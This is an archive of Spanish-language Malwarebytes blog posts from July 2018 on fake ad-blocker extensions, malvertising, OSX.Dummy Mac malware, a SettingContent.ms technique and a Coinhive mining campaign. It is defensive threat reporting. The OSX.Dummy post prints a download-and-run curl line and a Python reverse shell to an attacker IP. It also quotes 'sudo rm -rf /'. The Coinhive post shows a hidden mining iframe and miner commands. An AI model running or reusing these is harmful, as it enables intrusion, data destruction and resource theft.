Archivo mensual julio 2018

Pormalwarebytes

Bloqueamos bloqueadores de anuncios sombríos

 

 

Bloqueamos bloqueadores de anuncios sombríos

 

 

Publicado: 11 de julio de 2018 por 

Algunos de ustedes se han comunicado con nosotros en relación con el bloqueo por parte de Malwarebytes de ciertas extensiones de bloqueo de anuncios, o una afluencia de notificaciones de bloqueo web. Lo primero es lo primero, esto no es un falso positivo. Recientemente, en su blog, AdGuard descubrió que se encontraron numerosas extensiones de bloqueo de anuncios maliciosos en la tienda de Google Chrome. Según un artículo de ZDNet , las extensiones maliciosas se han eliminado desde la tienda, sin embargo, se estima que 20 millones de dispositivos descargaron estas aplicaciones mientras aún estaban en línea, es posible que usted tenga uno de esos dispositivos.

Las extensiones se utilizan básicamente para convertir el navegador en un zombie bajo el control de un atacante remoto, básicamente, agregar su dispositivo a una botnet. Como nuestra capacidad para eliminar extensiones es limitada, estamos bloqueando los dominios a los que llegan las extensiones maliciosas, por lo que, como mínimo, los usuarios no tendrán sus sistemas controlados por un cibercriminal.

Si obtiene ventanas emergentes como las anteriores, consistentemente, puede estar ejecutando una de las extensiones maliciosas. Aquí hay una lista completa:

  • AdRemover para Google Chrome ™
  • uBlock Plus
  • Adblock Pro
  • HD para YouTube ™
  • Webutation

Si es así, tu mejor opción es eliminarlo de tu navegador.

Consulte nuestra guía sobre Adware , que incluye una sección sobre la eliminación de extensiones.

Echa un vistazo a los nombres de algunas de estas «extensiones», ¿notas algo? Adblock Pro, uBlock, YouTube, todos los grandes nombres y palabras de moda que hacen que estas extensiones parezcan más legítimas, agregan el hecho de que los comentarios falsos y las revisiones se crean todo el tiempo para este tipo de herramientas y, al final del día, el criminal es contando con su capacidad para no darse cuenta de que «esta no es la aplicación que está buscando».

Tenga en cuenta lo que instala en su navegador y, en general, en su computadora, al igual que los DVD baratos que puede encontrar en la tienda, que tienen títulos increíblemente similares a una gran película de gran éxito , que la gente que no está tan familiarizada con la el material original pasa por alto el hecho de que están comprando una imitación. Piense en esto de la misma manera con las extensiones y complementos y complementos para sus navegadores, hay algunos muy buenos, pero hay MUCHOS imitadores sombríos.

Asegúrese de revisar las opiniones de los usuarios, los números de descarga e incluso las recomendaciones externas (buscar el «mejor bloqueador de anuncios» podría ser un buen lugar para comenzar). Esto asegurará que haya instalado la herramienta correcta que hará el mejor trabajo.

Gracias por leer, navegación segura, ¡nos vemos la próxima vez!

Pormalwarebytes

Todos están bloqueando anuncios, ¿por qué no?

Publicado: 9 de julio de 2018 por 
Última actualización: 4 de julio de 2018

Esta publicación puede alterar algunas plumas. Pero no estamos aquí para ofrecer consejos a los editores sobre cómo generar mejores ingresos para su marca. Por el contrario, estamos aquí para ofrecer el mejor consejo sobre cómo mantener un entorno seguro y protegido.

Si no está bloqueando anuncios en su PC y dispositivo móvil, ¡debería hacerlo! Y si conoce a alguien que no está bloqueando anuncios, envíeles esta publicación. Porque en esta serie de dos partes, vamos a disipar algunos de los mitos que rodean el bloqueo de anuncios, y cubriremos las razones por las que debería estar bloqueando los anuncios en su red y dispositivos.

A continuación, realizaremos un seguimiento en la Parte 2 de esta serie al analizar herramientas y configuraciones comunes para ayudarlo a aprovechar al máximo su experiencia de navegación.

Has escuchado la charla y visto los mensajes en banners en línea. Usted es consciente de las disputas y la provocación de los editores y anunciantes de que el bloqueo de anuncios es un acto moralmente desmedido cuyos usuarios merecen un destierro directo de la web. Tal vez te han influido las súplicas de los propietarios de sitios web y tienen empatía hacia las frágiles limitaciones presupuestarias de tus sitios favoritos. O tal vez no comprenda los riesgos asociados con el seguimiento y la publicidad en línea y piense que si no hace clic en anuncios estará bien.

No te dejes engañar El bloqueo de anuncios proporciona una capa de seguridad vital que no solo corta un vector potencial para los ataques maliciosos en línea, sino que también bloquea los complementos de seguimiento que invaden la privacidad para recopilar y recopilar su información personal. No solo eso, sino que bloquea los anuncios y rastreadores en línea tiene la ventaja adicional de conservar el ancho de banda y la duración de la batería, aumentar los tiempos de respuesta del sitio web y, en general, mejorar la experiencia general del usuario. Por lo tanto, usar un bloqueador de anuncios no solo protege su dispositivo, sino que también brinda una mejor experiencia general para el usuario. ¿Qué no se podría amar?

¡Es todo un montón de alboroto!

Los anunciantes, editores y propietarios de sitios web desprecian las conversaciones sobre el bloqueo de los anuncios molestos que aparecen en sus páginas web, especialmente los anuncios que compiten más agresivamente por su atención (y, por lo tanto, pagan las facturas de los propietarios del sitio web). Todos los hemos visto. Estamos hablando de anuncios que reproducen automáticamente anuncios o clips de noticias tan pronto como se carga la página. Brillantes, llamativos ventanas emergentes y superposiciones de páginas que deben hacerse clic antes de ver el contenido deseado. Incluso los resultados patrocinados que aparecen en los listados de búsqueda. ¡Están en todos lados!

Cientos de miles de millones de impresiones de anuncios se producen cada mes, y se estima que los ingresos publicitarios digitales para publicidad en línea superarán los $ 237,000 millones en 2018 . Con tantas impresiones para ser atendidas, no es de extrañar que los operadores de sitios web estén despejando el espacio y abriendo el camino para que los anunciantes atemperen el panorama del sitio web.

Lista de búsqueda mostrada dentro de Google

Y obtenemos que las impresiones de anuncios son el alma de muchos operadores de sitios web y editores que dependen de los clics como mecanismo principal para generar ingresos. Algunos incluso pueden argumentar que los ‘clics crean trabajos’.

Pero enfrentémoslo. En la mayoría de los casos, los anuncios son una mierda! A los anunciantes les gusta impulsar la noción de «anuncios aceptables», «publicidad no intrusiva» y «cantidad razonable de impresiones», pero esta es una retórica diseñada para influir en la opinión de una sociedad impresionable, y es todo un poppycock si Pregúnteme.

A la mayoría de las personas no les gustan los anuncios. Ellos nunca tuvieron. Es por eso que las videograbadoras se volvieron populares en los años 80. Los dispositivos permitieron a los usuarios configurar grabaciones y luego omitir anuncios según su conveniencia más adelante. Es por eso que los DVR se convirtieron en la corriente principal hace años, y por qué las personas acuden a servicios de transmisión como Netflix ahora. Es incluso la razón por la que las personas omiten los primeros minutos de una película.

Los anuncios disminuyen la experiencia general del usuario al forzar la atención del consumidor en otra parte, y crean un retraso o una molestia en la capacidad de ingerir el contenido preferido. Los listados «patrocinados» de un sitio web a menudo consumen mucho más del paisaje de la página que el contenido real, lo que hace que dedique más tiempo a buscar los artículos deseados. Esto puede llevar a que los consumidores paguen más de lo que se hubiera pagado con un competidor no patrocinado. Y luego están los anuncios que son deliberadamente desagradables o reproducen sonidos recurrentes en una pequeña caja en la esquina de la ventana. Todos son simplemente terribles de soportar.

Si se tratara simplemente de no disfrutar el contenido, entonces este punto sería discutible. Sin embargo, los anuncios en línea representan una amenaza y proporcionan un vector de infección para que los actores malintencionados puedan lanzar ataques de malware. Esto puede convertir incluso los sitios web de mayor reputación en posibles sistemas de entrega para los autores de malware.

El malware puede ser entregado dentro de ese anuncio

Los anuncios permiten pequeños anuncios divertidos y llamativos que pueden jugar juegos y cuestionarios, pero al mismo tiempo esta funcionalidad representa un gran riesgo para los consumidores.

La publicidad maliciosa tiene la capacidad de afectar incluso a los usuarios más cuidadosos debido a la naturaleza de cómo los anuncios están diseñados para ejecutar código automáticamente cuando se cargan. Los atacantes pueden ( y lo hacen ) adjuntar códigos de exploits maliciosamente ocultos a anuncios que de otro modo serían inocuos para productos conocidos y luego enviar estos anuncios para su publicación a sitios web conocidos y de buena reputación.

No se deje engañar por este anuncio de Best Buy. ¡No es real!

Si bien muchas de las grandes redes publicitarias realizan la diligencia debida y buscan ese contenido malicioso antes de su publicación, existen docenas, sino cientos de redes publicitarias a las que un delincuente puede enviar su código malicioso. Y no todas esas compañías poseen los mismos estándares que sus contrapartes multimillonarias. Teniendo en cuenta la velocidad y la naturaleza del proceso de pujas en tiempo real para los anuncios en línea (un proceso fascinante que merece una publicación propia) no es de extrañar que los anuncios malos puedan pasar incluso las redes publicitarias más bien intencionadas.

$ 5.00 y 10 minutos es todo lo que se necesita con esta red publicitaria.

Considere por un momento esta  publicación de blog publicada por Google a principios de este año, que arroja algo de luz sobre la cantidad de anuncios maliciosos que fueron bloqueados a través del ecosistema publicitario. En la publicación, Google estipula que se eliminaron 3,2 mil millones de anuncios en 2017 por infringir las políticas publicitarias. Eso se traduce en 100 anuncios por cada segundo, de cada día, durante todo el año. De estos anuncios, 79 millones empujaban sitios web cargados de malware. Y eso se suma a los más de 320,000 editores que fueron incluidos en la lista negra, y más de 1 millón de sitios web y aplicaciones que fueron eliminados o bloqueados.

¡Son muchos anuncios malos!

Dejando a un lado la capacidad de Google para bloquear el contenido malicioso tal como aparece en su red, algunos pueden afirmar que con tantas cosas malas, algunas cosas pueden pasar desapercibidas devez en cuando.

Y, para que no nos olvidemos, hay una plétora de otras compañías de sitios web, noticias y publicidad sin los medios o el deseo de vigilar el contenido. Los actores malintencionados pueden lanzar campañas altamente orientadas, que solo pueden ser visibles para un pequeño grupo de personas y que a menudo pueden pasar desapercibidas para los mecanismos y sistemas de seguridad. ¿Quién quiere ser el conejillo de indias y ofrecer su computadora a los atacantes cuando ocurren tales fallas?

No me sigas, hermano

Todos estamos familiarizados con el escándalo de Cambridge Analytica que involucra la recopilación de aproximadamente 87 millones de registros de Facebook. El evento altamente publicitado ha llevado a procedimientos de insolvencia en contra de la empresa (aunque Cambridge Analytica puede haber sido resucitado recientemente bajo el nombre de Data Propria ). La gente se indignó en parte porque la empresa había recopilado y almacenado información en amplios sectores de la población sin su consentimiento. Pero lo que esas mismas personas pueden no entender es que Cambridge Analytica no está solo en esta práctica.

Existen numerosas organizaciones que van desde pequeñas operaciones de una y dos personas, hasta corporaciones de millones de dólares que participan en el proceso de recopilación y venta de datos de consumidores. Los corredores de datos, los almacenes de datos y las plataformas de intercambio de datos proporcionan herramientas y servicios no solo para recopilar información, sino también para clasificar y organizar la información de manera que los anunciantes puedan dirigirse a grupos específicos de usuarios.

Agente de datos en línea que ofrece «datos que solo tienen segundos de antigüedad»

Pocas de estas organizaciones tienen el consentimiento expreso de los usuarios para recolectar y almacenar su información, y muchas carecen incluso de los protocolos de seguridad más básicos para proteger y mantener la información una vez que se recolecta.

Considere la exposición reciente de la base de datos que rodea al intermediario de datos, Exactis . Hace poco se acusó a la compañía de tener un servidor pobremente asegurado, que comprometió casi 340 millones de registros individuales que contenían todo, desde direcciones, números de teléfono y direcciones de correo electrónico, hasta más de 400 puntos de datos diferentes de hábitos, intereses y pasatiempos. Todo tipo de otros detalles personales son rastreados, cosechados y almacenados en estas bases de datos; todo desde la edad hasta el tamaño de la ropa de una persona y el historial de compras. ¿Fuma, bebe o disfruta del juego? Eso está ahí, también.

Exactis tiene más de 3,5 mil millones de registros, con información sobre la mayoría de nosotros

¿Y quién exactamente es Exactis ? La compañía afirma ser un compilador y recopilador líder de datos de empresas y consumidores. La información recopilada por la empresa se utiliza para la creación de perfiles de clientes y para ayudar a los especialistas en marketing a identificar rasgos descriptivos y segmentos de clientes para ayudar a comprender mejor el comportamiento. Esta información se puede usar para dirigir publicidad dirigida a grupos específicos.

El sitio web de la compañía afirma poseer 3,5 mil millones de registros en 218 millones de personas y 110 millones de hogares. Cuando se le preguntó de dónde se originó la información, Vinny Troia, fundador de Night Lion Security, fue citado diciendo: «Parece que esta es una base de datos con prácticamente todos los ciudadanos estadounidenses en ella. No sé de dónde vienen los datos, pero es una de las colecciones más completas que he visto en mi vida «.

Si bien es posible que no sepamos con certeza, es probable suponer que al menos algunos de esos registros se obtienen mediante el uso de rastreadores en línea y servicios que se ejecutan silenciosamente en segundo plano, rastreando y registrando su comportamiento cada vez que navega en línea.

¿Por qué seguimos tolerando este tipo de recopilación de datos ilícitos? No seas como Steve Huffman, el CEO de Reddit que se permitió ser el blanco de un anuncio de Facebook con el propósito de solicitar empleo. En su lugar, use un bloqueador de anuncios, que no solo bloquea los rastreadores dirigidos que ponen en peligro su información personal y divulgue sus secretos al mejor postor, sino que también evitará que se muestre el anuncio orientado, reduciendo así su exposición a la infección y la solicitación.

No, no es moralmente inconsciente usar un bloqueador de anuncios

A pesar de los avisos, las súplicas de los propietarios de sitios web y la posición de anunciantes y editores de que el bloqueo de anuncios destruirá Internet tal como lo conocemos, no existen leyes contra el uso de un bloqueador de anuncios para evitar que aparezca contenido objetable en cualquier dispositivo que usted posea. o usar.

En un caso largamente seguido que trascendió hasta el Tribunal Supremo alemán, el editor europeo Axel Springer fue derrotado en una batalla de varios años contra el editor de Adblock Plus Eyeo, después de no convencer al tribunal de que el bloqueador de anuncios violó la ley de competencia y participando en políticas comerciales legalmente dudosas. (Su modelo de negocio permitió desbloquear anuncios considerados «aceptables», así como aquellos que pagaron por tal distinción).

El fallo judicial pone fin a la búsqueda de Springer de que el bloqueo de anuncios se considere ilegal. La decisión también justifica que los usuarios continúen utilizando el software de bloqueo para evitar que se muestren contenidos no deseados u objetables.

Es probable que los estadounidenses tengan protecciones de bloqueo de publicidad igualmente fuertes, si no más fuertes que nuestros amigos alemanes.

Al buscar a través de expedientes y documentos proporcionados por Justia.com , Eyeo, la empresa matriz de AdBlock Plus, no muestra un solo caso que la empresa haya tenido que defender debido a su práctica de bloquear anuncios. Y realmente, es casi un poco exagerado imaginar a un jurado estadounidense persuadido por el argumento de que los anunciantes tienen derecho a mostrar contenido, pero que los consumidores no tienen el derecho de bloquear dicho contenido cuando no lo aprueban.

Por lo tanto, sin leyes que impidan el uso de un bloqueador de publicidad, y con el argumento contrario simplemente reducido al mantra corporativo de «maximizar los beneficios», los consumidores pueden elegir la política de seguridad que mejor se adapte a sus necesidades.

¿Convencido ya?

Hemos visto que los anuncios no solo disminuyen la experiencia del usuario de ingerir contenido, sino que también representan un riesgo sustancial para los consumidores.

El potencial de malvertising para implementar con éxito una carga útil desagradable en su máquina, que puede comprometer su sistema y poner en peligro su seguridad financiera, es real. Peor aún, este tipo de ataques ni siquiera requieren la interacción del usuario y pueden ejecutarse simplemente visitando la página.

Y si la amenaza de la ruina financiera no es importante, entonces debería ser el acto de recolección de datos que invade la privacidad.

La variedad de recopiladores de datos y corredores de datos que hay por ahí es alucinante, y todos luchan por asociar sus acciones y comportamientos a grupos y otras personas con el único objetivo de crear anuncios dirigidos y aumentar las ganancias. La información recopilada por estas organizaciones puede estar poco segura y es una mina de oro potencial para cualquier cibercriminal.

Y si la convicción moral de bloquear los anuncios de sus sitios web favoritos ha impedido hasta ahora la adopción de tecnología de bloqueo de anuncios, entonces el conocimiento de un ecosistema publicitario cada vez mayor y la falta de leyes que impidan los mecanismos de bloqueo de anuncios deberían aliviar esas preocupaciones. . Sí, todos queremos generar ingresos para nuestra marca, pero personalmente prefiero no ayudar a hacer eso en aras de un posible robo de identidad, o peor, tener mi PC comprometida por un ataque de malware que se origina de un anuncio deshonesto en un sitio web popular. .

Subiendo 

En la Parte 2 de esta serie, vamos a echar un vistazo a algunas de las herramientas comunes de bloqueo de anuncios y cómo configurar esas herramientas para que se ajusten a las necesidades del usuario individual. Le mostraremos cómo navegar por configuraciones fáciles de usar que son lo suficientemente simples de usar en la computadora de la abuela. También profundizaremos en algunas configuraciones y herramientas más avanzadas que pueden requerir un cambio en la mentalidad, el uso y la comprensión del usuario antes de darnos cuenta completamente de los beneficios que ofrecen dichas configuraciones.

Cubriremos los anuncios bloqueados en dispositivos móviles y PC, y configuraremos una solución de red para bloquear anuncios en todo su entorno.

Así que estad atentos al blog Malwarebytes , o seguir esta publicación y lo actualizaremos con enlaces una vez disponibles.

Pormalwarebytes

El malware de Mac se dirige a los usuarios de cryptomining

El malware de Mac se dirige a los usuarios de cryptomining

 

La semana pasada, un investigador de seguridad llamado Remco Verhoef anunció el descubrimiento de una nueva pieza de malware de Mac que se distribuye en los grupos de chat cryptomining. Este malware luego fue analizado por Patrick Wardle , quien le dio el apodo apropiado OSX.Dummy.

El malware fue distribuido por usuarios de chat que se hicieron pasar por administradores, quienes publicaron el siguiente script de shell para que los usuarios puedan ejecutar:

cd / tmp && curl -s curl $ MALICIOUS_URL> script && chmod + x script && ./script

Este script descarga un archivo ejecutable llamado script de un sitio malicioso, le otorga permisos ejecutables y luego lo inicia. Este script tiene un tamaño ridículo de 34 megabytes, y parece que no hace más que crear un archivo de script de shell y un demonio de inicio para que siga funcionando.

El script de shell usa Python para abrir un shell inverso al puerto 1337 en un servidor malicioso, lo que le da al pirata informático el acceso continuo a la computadora.

#! / bin / bash
mientras :
hacer
  python -c 'socket de importación, subproceso, os; s = socket.socket (socket.AF_INET, socket.SOCK_STREAM); s.connect (("185.243.115.230", 1337)); os.dup2 (s.fileno (), 0); os.dup2 (s.fileno (), 1); os.dup2 (s.fileno (), 2); p = subprocess.call (["/ bin / sh", "- i"]); '
  dormir 5
hecho

En general, este malware no es particularmente excepcional, y hace honor al nombre OSX.Dummy de múltiples maneras. Sin embargo, hay algunas cosas interesantes que destacar sobre este malware.

Riesgos planteados por los guiones publicados

El método de distribución es interesante. Las personas en los foros y otras fuentes en línea han estado dando instrucciones que implican ejecutar comandos en la línea de comandos, en la Terminal en una Mac, durante muchos años, y todavía lo hacen hoy.

Como ejemplo, un usuario en los foros de Apple solía dar a los usuarios un comando de shell altamente ofuscado que constaba de decenas de miles de caracteres, con instrucciones para copiarlo y pegarlo en la Terminal para ejecutarlo. Esta secuencia de comandos fue ejecutada por los usuarios de los foros y el resultado del script publicado allí, miles de veces.

Afortunadamente, este script no fue malicioso, pero podría haberlo sido fácilmente, y su naturaleza ofuscada debería haber despertado sospechas. Sí, los usuarios todavía lo ejecutaron, sin entender lo que hacía, porque confiaban en un extraño en un foro.

Hubo otros casos en el pasado de que se publicaron scripts que eran realmente de naturaleza maliciosa. El más conocido de estos fue un truco infame donde los usuarios debían ejecutar el siguiente comando para resolver cualquier problema que tuvieran:

sudo rm -rf /

Desafortunadamente para los usuarios que realmente siguieron instrucciones como estas, este comando realmente borra el disco duro.

Por lo tanto, hay un precedente de sospecha de las secuencias de comandos de shell publicadas en línea, pero aun así, muchas personas seguirán ejecutando scripts muy sospechosos sin ningún cuidado. Se alienta a los lectores a educar a los usuarios sobre los peligros de este comportamiento en cada oportunidad.

Riesgos planteados por infecciones previas

Cuando se ejecuta por primera vez, el script ejecutable solicita una contraseña. Esto se parece al comportamiento de sudo estándar en la línea de comandos, pero en realidad, el malware recibe la contraseña. El malware crea un par de pequeños archivos de datos llamados dumpdummy- one en / Users / Shared / y uno en / tmp / –y almacena la contraseña allí, presumiblemente para un posible uso futuro.

Tener su contraseña almacenada en texto claro dentro de un archivo que pueda ser leída por cualquier persona en la computadora representa una seria amenaza a la seguridad. Peor aún, dado que este archivo solo es información y no es realmente malicioso, es probable que la mayoría del software antivirus no lo detecte. Esto significa que puede haber eliminado la infección, pero el archivo dumpdummypermanece, lo que representa un posible riesgo de seguridad en el futuro.

Esto dista mucho de la primera vez que el malware ha hecho tales cosas. Esto significa que, incluso si su computadora no está infectada actualmente, es muy posible que su contraseña se pueda encontrar en texto claro en algún lugar de su disco duro, como un remanente de una infección anterior. El futuro malware podría estar diseñado para encontrar las ubicaciones de estos archivos creados por el malware anterior, obteniendo acceso a su contraseña de forma gratuita.

Malwarebytes para Mac eliminará dichos rastreos además de los ejecutables maliciosos.

Riesgos planteados por el malware sin firmar

La mayoría, aunque no todos, del malware de Mac en la actualidad está firmado criptográficamente con un certificado emitido por Apple. Estos certificados no son difíciles de obtener, ya que no cuestan más de $ 99 para obtener una cuenta de desarrollador con Apple. Lo bueno de esto es que una vez que el malware es detectado por Apple, el certificado puede ser revocado, matando al malware.

Sin embargo, hay algunos problemas con la forma en que macOS maneja la firma de código, y esto no se puede confiar. Como señaló Wardle en su análisis, el hecho de que este malware no esté firmado es irrelevante, ya que macOS no verifica la firma del código para un proceso que se ejecuta desde la línea de comando.

Se presentará más información sobre cómo la firma de códigos puede ser un problema en macOS en la conferencia Virus Bulletin de este año.

Objetivo: robo de criptomonedas

En general, es poco probable que este malware esté muy extendido, y probablemente sabrá si se ha infectado después de leer una descripción del malware.

Todavía no sabemos exactamente qué pueden querer hacer los hackers detrás del malware con el acceso a las máquinas infectadas, pero dado el hecho de que las comunidades mineras de criptomonedas fueron atacadas, es una apuesta segura que estaban interesados ​​en el robo de criptomonedas. .

Si cree que puede estar infectado, Malwarebytes eliminará el malware, incluidos los archivos dumpdummy que contienen su contraseña.

Si realiza tareas de seguridad o TI para una empresa, asegúrese de bloquear el acceso a la dirección IP a la que la secuencia de comandos intentará conectarse (185.243.115.230).

Pormalwarebytes

Nueva técnica sin macros para distribuir malware

Publicado: 2 de julio de 2018 por 
Última actualización: 3 de julio de 2018

Uno de los vectores de infección más comunes y efectivos, especialmente para empresas, es el uso de documentos maliciosos de Office. Solo este año, fuimos testigos de dos días cero para Flash y el motor de VBScript , que primero se incorporaron a los documentos de Office antes de obtener una adopción más amplia en los kits de exploits web.

Además de aprovechar vulnerabilidades de software, los atacantes abusan regularmente de las características normales de Office, como macros, o de otras más oscuras como  Dynamic Data Exchange (DDE) y, por supuesto, ataques de enlace e incrustación de objetos (OLE), que también pueden combinarse con exploits . Los administradores del sistema pueden endurecer los puntos finales mediante la desactivación de ciertas funciones en toda la empresa, por ejemplo, para frustrar ciertos esquemas de ingeniería social que intentan engañar a los usuarios para que habiliten una macro maliciosa. En versiones recientes de Office , Microsoft también está bloqueando la activación de objetos considerados de alto riesgo, según una lista de extensiones que se pueden personalizar a través de la Política de grupo.

Pero un descubrimiento reciente del investigador de seguridad Matt Nelson , muestra que se puede aprovechar otro vector de infección, uno que elude la configuración de protección actual e incluso la nueva  tecnología de Reducción de Superficie de Ataque de Microsoft  . Al incrustar un archivo de configuración especialmente diseñado en un documento de Office, un atacante puede engañar a un usuario para que ejecute código malicioso sin más advertencias o notificaciones.

El formato de archivo, específico para Windows 10 llamado .SettingContent.ms , es esencialmente código XML que se utiliza para crear accesos directos al Panel de control. Esta característica se puede abusar porque uno de sus elementos (DeepLink) permite ejecutar cualquier binario con parámetros. Todo lo que un atacante debe hacer es agregar su propio comando usando Powershell.exe o Cmd.exe. Y el resto es historia.

Un nuevo script encontrado por Nick Carr muestra un ataque en el que se invoca PowerShell para descargar y ejecutar REMCOS RAT ( informe VT ). Según Matt Nelson , quien descubrió esta nueva técnica, Microsoft no va a solucionarlo, al menos por el momento.

Probamos esta muestra en nuestro laboratorio y nos complace informar que los usuarios de Malwarebytes ya están protegidos:

Durante los últimos años, aunque ha habido poco desarrollo con kits de exploits web , ha habido mucha actividad con kits de explotación de documentos como Microsoft Word Intruder (MWI) o Threadkit . Estos kits de herramientas permiten a los atacantes crear señuelos e incrustar los exploits de su elección antes de lanzar phishing a sus víctimas o enviar el archivo a través de campañas de spam más grandes. Al mismo tiempo, parece que los ataques clásicos de ingeniería social no van a ir a ningún lado pronto y seguirán aprovechando el elemento humano.

Es importante que los usuarios finales y las empresas reconozcan que los documentos son un vector ideal de entrega de malware y requieren una protección y capacitación adecuadas para luchar contra ellos.

Pormalwarebytes

El enlace corto de Coinhive revela una operación minera más grande

Publicado: 3 de julio de 2018 por 
Última actualización: 2 de julio de 2018

Durante los últimos meses, la minería en el navegador ha seguido afectando a una gran cantidad de sitios web, y se basa predominantemente en la infame API de Coinhive. Documentamos varias campañas en este blog, en particular Drupalgeddon , donde los atacantes aprovechan las vulnerabilidades de los sistemas de administración de contenido (CMS) populares para comprometer sitios web y enviar cargas útiles tanto del lado del cliente como del servidor.

En las últimas semanas, nuestros rastreadores han catalogado varios cientos de sitios utilizando una variedad de CMS, todos ellos inyectados con el mismo código ofuscado que utiliza el enlace corto de Coinhive para realizar silenciosas unidades de disco duro . Al pivotar sobre este indicador de compromiso, pudimos identificar una infraestructura más grande que recibe tráfico de varios miles de sitios pirateados que actúan como puertas de entrada para redirigir el tráfico a un servidor central involucrado en la distribución de mineros de moneda estándar y web.

Figura 1: Operación minera impulsada por sitios comprometidos

Injerto de minero ofuscado

Como parte de nuestros rastreos regulares, buscamos redireccionamientos conocidos a sitios de interés y, últimamente, la mayoría se han relacionado con dominios de Coinhive. Detectamos cientos de dominios nuevos, todos los sitios web legítimos a los que se les inyectó una publicidad de código hexadecimal. Una vez decodificado, se muestra como un iframe invisible (1 × 1 píxel) a cnhv [.] Co / 3h2b2 . Creemos que es parte de la misma campaña que fue expuesta por la gente de Sucuri a fines de mayo.

<i frame src = "https: // cnhv [.] co / 3h2b2" width = "1" height = "1" align = "left"> </ i frame>

Figura 2: un sitio de WordPress inyectado con un iframe ofuscado que carga la API de Coinhive

El CNHV [.] Nombre de dominio co se utiliza para lo que llama Coinhive shortlinks , esencialmente, una forma de monetizar en hipervínculos haciendo navegadores de los visitantes a resolver un cierto número de valores hash antes de que lleguen a su sitio de destino. Al hacer clic en dicho enlace, verá una barra de progreso y en unos segundos, será redirigido. Los delincuentes están abusando de esta característica al cargar esos enlaces cortos como iframes ocultos con un recuento de hash irracionalmente alto.

Figura 3: Shortlink está gravando nuestra CPU al 100% 

En la Figura 3, donde hicimos visible el iframe cambiando sus dimensiones, para mostrar que, en lugar de esperar unos segundos antes de ser redirigido, los usuarios sin saberlo estarán explotando mientras permanezcan en la página. De hecho, aunque la configuración predeterminada de Coinhive está configurada en 1024 hashes, esta requiere 3,712,000 antes de cargar la URL de destino.

Backdoor inició la redirección

Al consultar urlscan.io , pudimos encontrar la misma clave de Coinhive activa el 7 de mayo a  través de un mecanismo de redirección diferente. Hay un patrón de URI específico que indica que los sitios pirateados se están aprovechando para realizar una redirección a un servidor a las 5.45.79 [.] 15 . Esto, a su vez, crea una redirección a través de otro URI diseñado donde uno de los parámetros es el sitio de referencia, que finalmente conduce al enlace corto de Coinhive que iniciará el minero web.

Figura 4: Se encontró el mismo enlace corto cargado desde un sitio web comprometido a través de un servidor intermediario

Varios sitios han sido inyectados con tanto la cnvh oculto método de co iframe, así como a través de puertas traseras [.]:

Figura 5: un sitio pirateado inyectado con el enlace corto de Coinhive y varias URL comprometidas

El patrón URI utilizado para las redirecciones se puede identificar mediante la siguiente expresión regular:

Figura 6: una expresión regular que muestra una coincidencia entre sitios comprometidos

Blackhat SEO y puertas

Si observamos nuevamente esos URI, podemos observar la presencia de ciertas palabras clave que parecen estar relacionadas con la Optimización de motores de búsqueda (SEO), por ejemplo:

cctvvietnam [.] com / 1hqg / wzdea.php? lrscye = mongodb - count - fields 
pixelbedlam.co [.] uk / 9ul8 / 6nfme.php? lrscye = relatividad - software - costo 
valam [.] in / f8wb / z8d6w. php? lrscye = tutoría - en - egipto 
stemat [.] pl / klwy / dzwfy.php? lrscye = vin - decodificador - mercedes 
whylab [.] nl / podd / 1hwnz.php? lrscye = gpon - inicio - puerta de enlace - explotar 
soho -dom [.] ru / el5p / ywuul.php? lrscye = bts - album - descargar -cremallera

Confirmamos que, de hecho, algunas búsquedas de Google o Bing nos mostraron resultados que incluían la lista de sitios comprometidos que actúan como «puertas», generalmente a un sistema de distribución de tráfico o redirector (5.45.79 [.] 15). En este caso, las entradas se utilizan para engañar a las personas para que descarguen mineros de moneda malintencionados en lugar del archivo que estaban buscando.

Figura 7: a pesar de las apariencias, este archivo no está 100% limpio

Observe cómo el servidor en 5.45.79 [.] 15 está realizando la redirección a otro sitio pirateado ( motoir [.] Com ), donde las palabras clave pasadas del URI se usan dinámicamente para crear lo que parece una única página y archivo de descarga.

Figura 8: Tráfico web que muestra la secuencia de redirección

Mineros de monedas malvados

Tras la ejecución, este ejecutable descomprimirá los siguientes tres binarios:

  1. winsystem.exe : el minero de XMRig
  2. clock.exe : archivo .bat envuelto en un EXE contiene comandos
  3. netflash.exe : un descargador muy simple, escrito en .NET.

La secuencia de comandos por lotes agrega persistencia al establecer una entrada de registro, elimina ciertos procesos (posibles mineros que ya se están ejecutando) y comienza a minar al iniciar:

winsystem.exe -B -a cryptonight -o 37.1.197 [.] 121: 80 -px -u% COMPUTERNAME% +500 --max-cpu-use = 30 --donate-level = 1 -k

Figura 9: script por lotes que revela el código de minería

Los binarios de descarga falsos se basan en el mismo código de un minero, como era de esperar, alojado en 5.45.79 [.] 15 / xxxphoto.exe . Utilizando VirusTotal Intelligence, pudimos ampliar esta infraestructura e identificar otro coin miner, que es un archivo ELF esta vez, basado en esta biblioteca cnrig , alojado en: 5.45.79 [.] 15 / monero / cnrig .

Figura 10: Gráfico que muestra un minero ELF y Win32 alojado en el mismo servidor

Un comentario dejado en esta  página del informe VirusTotal indica que este minero fue encontrado en un servidor infectado y sacado de una puerta trasera PHP llamada  zz1.php . Buscando ese nombre de archivo, ubicamos un posible candidato cargado en un sitio público. Decodificando las cadenas codificadas en Base64, podemos afirmar con mayor confianza que este es el archivo PHP malicioso utilizado por los atacantes para descargar el minador de monedas de Linux desde  5.45.79 [.] 15 / monero / cnrig :

Figura 11: código PHP cargado en sitios comprometidos responsables de la descarga de mineros de ELF

Una vez que ha recuperado el binario ELF, lo ejecuta usando el siguiente comando para comenzar a extraer:

./cnrig -o 5.61.46 [.] 146: 80 - nivel de donación = 1> / dev / null 2> & 1

Proxies

Debido a que los mineros se están conectando a grupos privados (y probablemente a través de un proxy) sin utilizar una dirección de billetera, no podemos evaluar cuánto dinero han generado los perpetradores con este esquema.

De hecho, el servidor en 5.45.79 [.] 15 también tiene su propio ProxyPanel :

Figura 12: un proxy basado en  xmrig-proxy

La versión de XMRig del minero tenía una página pública de estadísticas que indicaba que había cerca de 500 máquinas infectadas que habían participado en la actividad minera. Para la versión CNRig, no pudimos encontrar ninguna estadística, aunque la cantidad de servidores pirateados fue mucho mayor.

Un número creciente de sitios

El interés que rodea a las criptomonedas ha cambiado drásticamente el panorama de malware con los delincuentes con la esperanza de obtener una parte de la acción. Como tal, cada vez más sitios web se ven comprometidos tanto en el lado del cliente como en el del servidor para distribuir y ejecutar mineros.

